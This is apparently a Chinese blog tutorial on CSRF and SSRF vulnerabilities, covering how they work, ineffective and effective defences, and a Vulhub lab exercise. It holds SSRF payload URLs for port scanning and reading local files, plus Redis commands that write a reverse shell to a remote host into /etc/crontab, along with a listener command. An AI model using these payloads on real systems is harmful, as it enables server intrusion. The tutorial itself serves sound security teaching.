Web渗透10_CSRF SSRF
1 CSRF漏洞
CSRF 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。
CSRF是一种欺骗受害者在身份验证后的web提交非本意的请求的一种攻击手段。继承了受害者的身份和特权,代表受害者执行非本意的操作。
攻击者通过对目标网站的熟悉,构造恶意操作链接。因为网站上的各种操作归根结底就是一些URL链接,将链接提交给目标网站服务器,服务器验证身份后对此做出反应,一个操作就完成了。这些链接影响到用户的所有操作。 通过对恶意操作链接的伪装,诱使目标网站用户点击,而浏览器就会自动连同你的身份信息和恶意操作链接发送给目标服务器,来执行恶意攻击。
浏览器的请求会自动发送与目标站点关联的所有凭据。例如用户cookie,IP地址,windows域凭证等等信息,因此如果用户在某个站点A已经进行了身份验证,类似打开网站不用登录。而恰巧又在其他站点B点击了与网站A相关的恶意操作链接,那么结果很有可能造成很大的损失,尤其是当用户的网站身份是网站管理元时。
所以不要点击不明链接!!!
有时候可以将CSRF攻击存储在易受攻击的网站A上。造成 存储的CSRF攻击。存储为带有而已操作链接的img iframe等html 标记,或者通过结合XSS漏洞来攻击。因为就在A站点上等待用户上钩,比在其他站点等待更有效。
CSRF触发
<A>标签
<a href="恶意攻击操作链接">美女图片</a>
重点来了! 美女图片,美色诱惑是无敌的。这个土方法在视频网站已经是圣经一般的操作,能带来大量的点击量,从而得到视频点击数的收益。
<img src="">
<img src="恶意攻击操作链接">
利用图片的地址去发送请求。
一般请求有 GET 还有 POST 发送的。相对来说GET请求比较隐蔽,而POST一般用于表单可能会有某些表单信息,不过这些表单信息是可以隐藏的,表单的提交执行链接恶意攻击操作链接也可以利用JS代码进行立即执行不需要点击的。
CSRF防御
无效防御
秘密cookie
秘密cookie也会随着操作被提交到服务器。这个是无效的。
仅接受POST数据
前面已经演示过这个方法不可靠,攻击也有可能通过POST来提交。
多步操作
这个有一些用,但是攻击者也会上那个网站。清楚具体的流程来构造攻击的URL链接序列。
URL重写
防的住一时防,不住一世。
https
https仅是加密的传输,与http无异。 无用
有效防御
referer 验证
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
在通常情况下,访问一个安全受限页面的请求必须来自同一个网站页面。
正确的Referer是网站真实操作的页面的URL,而伪造的攻击URL不可能是原来的URL。造成有效防御。
token验证
在操作链接上附加上随机的参数,所以链接也是动态的。在服务器上增加一个拦截器验证Token,若没有或者不匹配则认为是CSRF攻击进行拦截。
二次验证
操作要求输入验证码,输入密码。这样进行恶意操作就会有验证信息弹出,不会执行。用户也可以知晓遭到攻击。
2 SSRF
服务器端请求伪造SSRF(Server Side Request Forgery) 其形成的原因大都是由于服务端提供了从其他服务器应用获取数据(百度识图)的功能,但又没有对目标地址做严格过滤与限制。
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
由于提供此种功能的服务器内网的IP地址也可以被服务器请求, 而且是通过漏洞服务器以内网的身份访问,通过这个漏洞可以探测服务器内网环境。
危害
- 服务器端口扫描
- 内网Web(配置信息)指纹识别
- 攻击内网
- 读取服务器本地文件。
相关代码函数
从其他服务器应用获取数据需要脚本文件的函数支持
常见的PHP函数。
file_get_contents()
fsockopen()
curl_exec()
常见利用
访问正常文件
提交参数?url=https://www.baidu.com/robots.txt
,可以访问百度的爬虫允许爬取列表。
端口扫瞄
提交参数,若端口开放,则有回显。不开放则会有报错。
?url=dict://127.0.0.1:22
?url=dict://127.0.0.1:3306
?url=dict://127.0.0.1:21
读取系统本地文件
?url=file://c:\windows\system32\drivers\etc\hosts
内网WEB指纹识别
识别web使用的框架,平台,插件,CMS。对后期的渗透也是有帮助的。
一些组件具有特别的文件目录结构,可以去尝试。
?url=httpc://localhost/phpmydamin/README
攻击内网应用
内网的安全防护一般没有对于外部防御那么坚固,各种漏洞是广泛存在的。SSRF对内网的访问,可以延伸到对内网机器的访问,有时可以发起对内网机器的攻击,获得webshell。
仅通过GET的方法就能利用SSRF来攻击一些web应用,例如Struts2的命令执行。
SSRF漏洞挖掘
SSRF漏洞防御
- 限制协议: 限制仅允许 http https
- 限制IP: 限制不可访问IP黑名单
- 限制访问端口: 仅访问的端口是正常端口才允许。 80
- 过滤返回信息: 对返回的信息进行过滤
SSRF 漏洞实战
Vulhub SSRF 漏洞 https://vulhub.org/#/environments/weblogic/ssrf/
反弹shell
/etc/crontab
是linux的计划任务文件。通过Redis的读写文件权限,在/etc/crontab
里写下反弹shell的代码,接受shell的攻击主机开启端口监听,获得由受害服务器反弹的shell权限。
发送三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/21.86.94.21/888 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
# 指定接受shell的IP地址 和端口
# 21.86.94.21:888
开启监听的LINUX命令
ncat-lvvp 777
Web渗透10_CSRF SSRF的更多相关文章
- 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗
1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...
- 转载过来的参考内容---常规36个WEB渗透测试漏洞描述及修复方法----很详细
常规WEB渗透测试漏洞描述及修复 --转自:http://www.51testing.com/html/92/n-3723692.html (1). Apache样例文件泄漏 漏洞描述 apa ...
- web渗透学习目录
一,基础学习 01.基础学习 [[编码总结]] [[JSON三种数据解析方法]] [[js加密,解密]] [[Internet保留地址和非保留地址.内网和公网.VNC和UltraVN]] 代理 [[S ...
- Kali Linux 秘籍/Web渗透秘籍/无线渗透入门
Kali Linux 秘籍 原书:Kali Linux Cookbook 译者:飞龙 在线阅读 PDF格式 EPUB格式 MOBI格式 Github Git@OSC 目录: 第一章 安装和启动Kali ...
- 反向代理在Web渗透测试中的运用
在一次Web渗透测试中,目标是M国的一个Win+Apache+PHP+MYSQL的网站,独立服务器,对外仅开80端口,网站前端的业务系统比较简单,经过几天的测试也没有找到漏洞,甚至连XSS都没有发现, ...
- Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码
Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码 文/玄魂 目录 Kali Linux Web 渗透测试视频教—第二十课-利用 ...
- Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter
Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter 原文链接:http://www.xuanhun521.com/Blog/7fc11b7a-b6cb-4 ...
- KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础
原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...
- KALI LINUX WEB 渗透测试视频教程—第16课 BEEF基本使用
Kali Linux Web 渗透测试视频教程—第16课 BeEF基本使用 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第16课 BeEF基本使用............... ...
- Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击
Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击 文/玄魂 目录 Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击................... ...
随机推荐
- 【转载】 PyTorch下训练数据小文件转大文件读写(附有各种存储格式对比)
版权声明:本文为CSDN博主「Liekkas Kono」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明.原文链接: https://blog.csdn.net/s ...
- linux工具grep的使用心得笔记
grep作为linux管理中常用的三大工具之一(grep.awk.sed),其功能十分强大,因此难以对其进行全面的使用介绍,因此本文只作为个人学习的笔记之用. grep的用处: 在文本中匹配要查询的字 ...
- OSI 七层网络模型和 TCP/IP 四层网络模型
OSI 七层网络模型 网络的七层架构从下到上主要分为:物理层.数据链路层.网络层.传输层.会话层.表示层和应用层 物理层主要定义物理设备标准,它的主要作用是传输比特流,具体做法是在发送端将 1.0 码 ...
- programmers model
Handler模式一直使用MSP,所以在handler模式下处理器会忽略SPSEL位:异常进入及返回机制会更新CONTROL寄存器. 在操作系统的环境中,推荐线程在Thread模式下运行使用PSP,内 ...
- 一个.NET开源、免费的跨平台物联网网关
前言 今天大姚给大家分享一个基于.NET开源.免费的跨平台物联网网关:IoTGateway. 项目介绍 IoTGateway是一个基于.NET6的跨平台物联网网关.通过可视化配置,轻松的连接到你的任何 ...
- VMware Workstation虚拟机 + 许可证密钥
VMware Workstation虚拟机 + 许可证密钥 VMware Workstation是什么? VMware简介 VMware 安装 VMware系统要求 VMware 版本下载地址 许可证 ...
- PHP转Go系列 | ThinkPHP与Gin框架之Redis延时消息队列技术实践
大家好,我是码农先森. 我们在某宝或某多多上抢购商品时,如果只是下了订单但没有进行实际的支付,那在订单页面会有一个支付倒计时,要是过了这个时间点那么订单便会自动取消.在这样的业务场景中,一般情况下就会 ...
- 【YashanDB知识库】数据库审计shutdown immediate操作导致数据库异常退出
[问题分类]功能使用 [关键字]数据库审计,shutdown immediate [问题描述]审计shutdown immediate 操作,数据库作主从切换时会导致数据库异常退出. [问题原因分析] ...
- Linux 终端运行命令时出现多行带有加号的信息(详见文章内容)
++_vte_ prompt_ command +++ HISTTIMEFORMAT= +++ history 1 +++ sed 's/^ *[0-9] \+ *//' ++ local ' com ...
- Excel中制作目录的3种方法,你了解几种?
点赞再看,养成习惯:言之无文,行而不远. 微信搜索[亦心Excel]关注这个不一样的自媒体人. 本文 GitHub https://github.com/hugogoos/Excel 已收录,包含Ex ...